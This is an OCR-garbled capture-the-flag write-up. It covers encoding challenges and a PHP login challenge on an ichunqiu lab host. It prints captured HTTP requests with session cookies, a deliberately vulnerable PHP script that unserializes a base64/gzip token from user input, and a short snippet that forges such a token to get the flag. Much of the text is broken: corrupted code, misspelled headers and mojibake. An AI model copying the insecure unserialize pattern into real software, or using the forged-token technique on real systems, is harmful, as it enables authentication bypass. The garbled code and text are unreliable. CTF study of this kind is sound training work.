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flag: flag{icqedu_gogogo_base64}

flag{icgedu_gogogo_base64}
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len=strlen(str);
printf( )
for(i=0;i<len+1;i++)
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666c61677b68657832737472516368616Cc6Cc656e67657d

flag: flag{hex2str_challenge}

flag{hex2str_challenge}
102 108 97 103 123 104 101 120 50 115 116 114 95 99 104 97 108 108 101 110 103 101 125

666C61677DEBE578327374725/6368616C60656e67657d |
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flag: flag{re_start 007}
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flag: flag{123456abcdef}
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flag: flag{12345678}
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http://26487d8a875a4bdaa207ed90f791c03cc32172d4647548f8.changame.ichunqiu.com/

<ldoctype html>

charset="
>Log In</

rel="

class="
method=" " action=" ">
for=" ">Username: </ >

class=" " type=" " name=" " placeholder="
for=" ">Password: </ >

class=" " type=" " name=" " placeholder="
type=" " value="

HiN: testl test1
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GET /member.php HTTR/1.1

Host: 26487 d8aB75adbdaa207 ed90f791c03cc32172d464754818. changame. ichungiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; ne91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml application/xml;g=0.3 image/webp ** q=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW, q=0.7 ,zh-HK;q=0.5 en-US;g=0.3 &n;q=0.2
Accept-Encoding: gzip, deflate

Referar: hitp://26487 d8a875a4 bdaa207 ed90f791c03cc32172d464754813. changame. ichungiu. com/findex.php?errar=1

Connection: close

Cookie: ci_session=1h644da59042e950c01h3929a01735f33398Ba4,
UM_distinctid=17b962fch1e189-0h08e85faaefd58-4c3e247 b-11ad00-17 h9E2fch11c3;
Hm_vt_2d0601bd28de7 d49818249cf35d95943=1630312320,1630326599 1630326635, 1630327260,

Hm_lpvt_2d0601hd28de7 d49818249c{35d95943=1630327897, chkphone=ac'WxMpxhQpDiAchhMuSnEqyiQuDIO0000;

__jsluid_h=07 d63c6af4827h4139ch9989a1027f, PHPSESSID=dcrepkivisdg1tbndksggZoeqd
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Feshowit 1, 83— Bphplkig

jRaw T Params I Headers | Hex

HTTR/1.1 200 OK

Date: Mon, 30 Aug 2021 15:16:25 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 69

Connection: close

Wary: Accept-Encoding

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

show: 0

Wary: Accept-Encoding

¥-Via-JSL: bfaes26 -

X-Cache: bypass

T

<head>
<meta charset="utf-8" />
<lhead=
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GET /member.php HTTP/1.1

Host:

26487 d8aB75a4bdaa207 edI0f791c03cc32172d464754818. changame.ichungiu.co
m

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; n:91.0)
Gecko/20100101 Firefox/91.0

Accept:

text/html application/xhtrml+xml application/xml; q=0.9 image/webp "™, q=0.8
Accept-Language

zh-CM,zh;q=0.8 zh-TW,q=0.7 zh-HK; g=0.5 en-US;¢=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer:

http://26487 dB3aB75a4bdaa207 edI0f791c03cc32172d4647548f8. changame.ichun
giu.comfindex. php?erro=1

Connection: close

Cookie: ci_session=1h644da59042e950c01h39:9a01735f3339819a4;
UNM_distinctid=17b962fch12189-0b08 eB5faaefd5s-4c3e247 b-11ad00- 17962 fch 1
c3;
Hrm_vt_2d0B01bd28de7 d49818249cf35d95943=1630312320 1630326599 16303
2B635,1630327260;

Hrm_lpvt_2d0601 bd28de7 d49818249:35d95943=1630327857;
chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0000,

_ jsluid_h=07 dE8cEaf04827b4139:fb9989a10271,
PHPSESSID=dcrepkivis9g1tbndksqg2oeqd

Upgrade-Insecure-Requests: 1

I'show:1

<fhead=
<l- <?php
include ‘common.php’:
Frequset = array_merge(}_GET, § POST, §_SESSION, § COOKIE);
class db
1.f
public Bwhere;
function __wakeup()
1.f
if{lempty($this->where))
1.f
$this->select($this->where);
}
}

function select{$where)
1.f
Jsql = mysql_query('select * from user where ' $where);

return @mysql_fetch_array($sql);
}

ifisset{$requset| token]))
1.f
Jlogin = unserialize(gzuncompress(basetd_decode($requset[token])));
$db = new db();
Srow = $db->select(user=\".mysql_real_escape_string($login[user]).\);
if($loginf user] === ichungiu)
1.f
echo ¥flag;
Jelse if($row pass] I== §login[pass]){
echo unserialize injection!l;

Jelsef
echo "(~ 'O ) ~L—L"
}
Jelsef

header('Location: index php?eror=1);

}
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php
include ;
$requset = array_merge($ GET, $ POST, $ SESSION, $ COOKIE);
class db
{
public $where;
function _ wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
)i
b

function select($where)
{
$sql = mysql query(
return @mysql fetch_array($sql);
)i
)i

if(isset($requset| D)
{
$login unserialize(gzuncompress(base64 decode($requset|
$db new db();
$row $db->select( mysql_real escape_string($login[
if($login[ ]
{
echo $flag;
}else if($row[
echo
}else{
echo
)i
}else{
header(

}

SRS ZUE [Mcommon.php T T & i%Requestid R, 5 AN Etoken, JextE N\ KI5 1TBase64 iy, HMESE% 7155
B, BRFEFINETR, Hlfuser B Fichungiu.
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Token & TERR S5 b P= A2 1 o 40 SR B o 456 P P 48 /% 05 1) AR 45 3 18 SR VUIE, ARSI A UE TN, R4 7E AR 55 o< 1R [B] Token 45 i
Yo Rl AT LATERRIRIE SR B %7 L Token iEBA B LA VAR . 8] SRR ULt R AT AT LAOR & — MokentnEEE RS HZ +, R
%2\ N Richungiud ], & [Elflag.

unserialize % J¥ 54k

gzuncompressff & 77 &
base64_decode: base641n% i ;

HRHE BT & M & PHP I -

<?php

$a array( )

$b = base64 encode(gzcompress(serialize($a)));
echo $b
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